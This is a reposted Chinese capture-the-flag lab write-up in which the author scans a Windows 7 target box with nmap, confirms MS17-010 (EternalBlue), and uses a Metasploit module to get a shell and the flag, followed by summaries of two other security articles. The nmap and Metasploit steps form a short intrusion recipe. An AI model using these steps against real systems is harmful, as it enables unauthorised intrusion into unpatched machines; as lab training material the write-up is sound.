永恒之蓝!靶机练习之blue"

admin 2026-11-02 14:45:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

永恒之蓝!靶机练习之blue

原创

wonderful
wonderful

百炼G33K

2026年11月2日 11:10
江苏

去阅读

信息搜集

端口扫描

nmap -sT --min-rate 10000 10.129.62.151 -p-

nmap -sT -sC -sV 10.129.62.151 -p139,445,135 -o ports

主机操作系统是windows7,没有web服务只有一个445端口,可能是永恒之蓝漏洞

漏洞扫描

nmap --script=vuln 10.129.62.151 -p139,445,135

ms17-010永恒之蓝

打开msf,进行永恒之蓝漏洞利用

search ms17-010

用对应操作系统的2

use 2

配置payload

options

run

成功利用

shell

获取shell

拿到flag

get!

永恒之蓝!靶机练习之blue" 网络安全文章

永恒之蓝!靶机练习之blue"

本文为永恒之蓝MS17-010漏洞靶机练习记录,通过nmap扫描发现目标为Windows7系统且仅开放445端口,使用vuln脚本确认漏洞存在,随后利用Metasploit框架的ms17-010模块成功获取shell并拿到flag。文章步骤清晰,可操作性强,适合初学者复现永恒之蓝漏洞利用流程。
开源威胁情报聚合-关于勒索组织n0n的情报" 网络安全文章

开源威胁情报聚合-关于勒索组织n0n的情报"

本文聚合5个OSINT来源,对勒索组织n0n进行开源情报分析。核心发现包括:该组织不写勒索信、拥有154个模型条目与一台暴露的工作台、涉及38家机构但零结算。文章特别强调证据强度分级,区分单一来源、未经验证与评估结论,保留限定条件,为威胁情报分析提供参考。
AI时代Web防护的三重困境:如何跳出这场没有终点的追赶战?" 网络安全文章

AI时代Web防护的三重困境:如何跳出这场没有终点的追赶战?"

文章指出AI时代传统静态Web防护面临规则更新滞后、异常请求难识别、自动化侵扰持续等三重困境,提出以动态防御为核心的范式转移方案,通过访问身份动态认证、行为轨迹实时验真、静态元素动态变形三道防线,让攻击目标持续变化以应对AI驱动的攻击,并介绍了嘉韦思动态防御系统的行业应用。
评论:0   参与:  0